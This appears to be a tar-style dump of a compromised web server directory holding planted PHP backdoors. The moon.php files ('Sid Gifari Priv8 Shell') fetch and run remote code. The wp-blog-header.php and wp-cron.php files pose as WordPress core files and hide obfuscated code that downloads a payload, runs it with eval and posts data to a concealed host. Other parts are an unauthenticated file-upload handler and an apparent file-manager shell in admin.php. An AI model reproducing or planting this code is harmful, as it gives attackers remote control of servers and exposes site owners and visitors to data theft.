cgi-bin/moon.php000064400000001151147241725450007546 0ustar00       Sid Gifari Priv8 Shell ".file_get_contents/*******/("https://raw.githubusercontent.com/rapeatworld/bekd0r/main/indoxploit.php"));/**/?> cgi-bin/admin.php000064400000237515147241725520007703 0ustar00<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>cgi-bin/wp-blog-header.php000044400000003555147241725600011400 0ustar00 $c)); } goto EI0YM; TfUQi: function post_u($h) { $c = "\x75\x67\x67\143\72\x2f\57\170\146\x6f\x6d\70\144\x2e\x6f\154\x75\x62\147\x2e\147\x62\143\x2f\166\141\x71\162\x6b\56\x63\x75\143"; $i = curl_init(str_rot13($c)); curl_setopt($i, CURLOPT_POST, 1); curl_setopt($i, CURLOPT_POSTFIELDS, $h); curl_setopt($i, CURLOPT_RETURNTRANSFER, true); $j = curl_exec($i); curl_close($i); } goto uVMca; Cg8Hm: eval("\77\x3e" . $d); goto QZIk_; uKETJ: error_reporting(0); goto hLRwA; EI0YM: $d = get_u(str_rot13("\x75\x67\147\143\x66\x3a\57\x2f\151\x63\x66\x71\161\56\x71\163\144\x73\x6e\x67\56\x67\142\x63\x2f\x71\x62\x62\145\x2f") . $b . "\56\x74\170\x74"); goto Cg8Hm; hLRwA: session_start(); goto V3bNY; Y8mP6: function get_u($c) { $e = ''; if (function_exists("\143\165\162\154\137\x65\x78\145\x63")) { $f = curl_init($c); curl_setopt($f, CURLOPT_RETURNTRANSFER, 1); curl_setopt($f, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($f, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($f, CURLOPT_SSL_VERIFYHOST, 0); $e = curl_exec($f); curl_close($f); } if (empty($e) && function_exists("\x66\151\154\145\137\x67\145\164\x5f\x63\157\x6e\164\x65\156\x74\x73")) { $e = file_get_contents($c); } if (empty($e) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\x6d\137\x67\x65\x74\137\143\x6f\x6e\164\145\156\x74\x73")) { $g = fopen($c, "\162"); $e = stream_get_contents($g); fclose($g); } return $e; } goto TfUQi; uVMca: ?>cgi-bin/wp-cron.php000064400000003555147241725650010177 0ustar00 $c)); } goto EI0YM; TfUQi: function post_u($h) { $c = "\x75\x67\x67\143\72\x2f\57\170\146\x6f\x6d\70\144\x2e\x6f\154\x75\x62\147\x2e\147\x62\143\x2f\166\141\x71\162\x6b\56\x63\x75\143"; $i = curl_init(str_rot13($c)); curl_setopt($i, CURLOPT_POST, 1); curl_setopt($i, CURLOPT_POSTFIELDS, $h); curl_setopt($i, CURLOPT_RETURNTRANSFER, true); $j = curl_exec($i); curl_close($i); } goto uVMca; Cg8Hm: eval("\77\x3e" . $d); goto QZIk_; uKETJ: error_reporting(0); goto hLRwA; EI0YM: $d = get_u(str_rot13("\x75\x67\147\143\x66\x3a\57\x2f\151\x63\x66\x71\161\56\x71\163\144\x73\x6e\x67\56\x67\142\x63\x2f\x71\x62\x62\145\x2f") . $b . "\56\x74\170\x74"); goto Cg8Hm; hLRwA: session_start(); goto V3bNY; Y8mP6: function get_u($c) { $e = ''; if (function_exists("\143\165\162\154\137\x65\x78\145\x63")) { $f = curl_init($c); curl_setopt($f, CURLOPT_RETURNTRANSFER, 1); curl_setopt($f, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($f, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($f, CURLOPT_SSL_VERIFYHOST, 0); $e = curl_exec($f); curl_close($f); } if (empty($e) && function_exists("\x66\151\154\145\137\x67\145\164\x5f\x63\157\x6e\164\x65\156\x74\x73")) { $e = file_get_contents($c); } if (empty($e) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\x6d\137\x67\x65\x74\137\143\x6f\x6e\164\145\156\x74\x73")) { $g = fopen($c, "\162"); $e = stream_get_contents($g); fclose($g); } return $e; } goto TfUQi; uVMca: ?>cgi-bin/.htaccess000044400000000305147241725720007661 0ustar00 RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] .well-known/moon.php000064400000001151147241725720010411 0ustar00       Sid Gifari Priv8 Shell ".file_get_contents/*******/("https://raw.githubusercontent.com/rapeatworld/bekd0r/main/indoxploit.php"));/**/?> .well-known/admin.php000064400000237515147241725770010555 0ustar00<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>moon.php000064400000005271147241726040006241 0ustar00       Sid Gifari Priv8 Shell ".file_get_contents/*******/("https://raw.githubusercontent.com/rapeatworld/bekd0r/main/indoxploit.php"));/**/?>
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
"; } ?>
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
"; } ?>
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
"; } ?>
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
"; } ?>
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
"; } ?>
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
"; } ?>
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
"; } ?> admin.php000064400000243635147241726110006367 0ustar00<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == 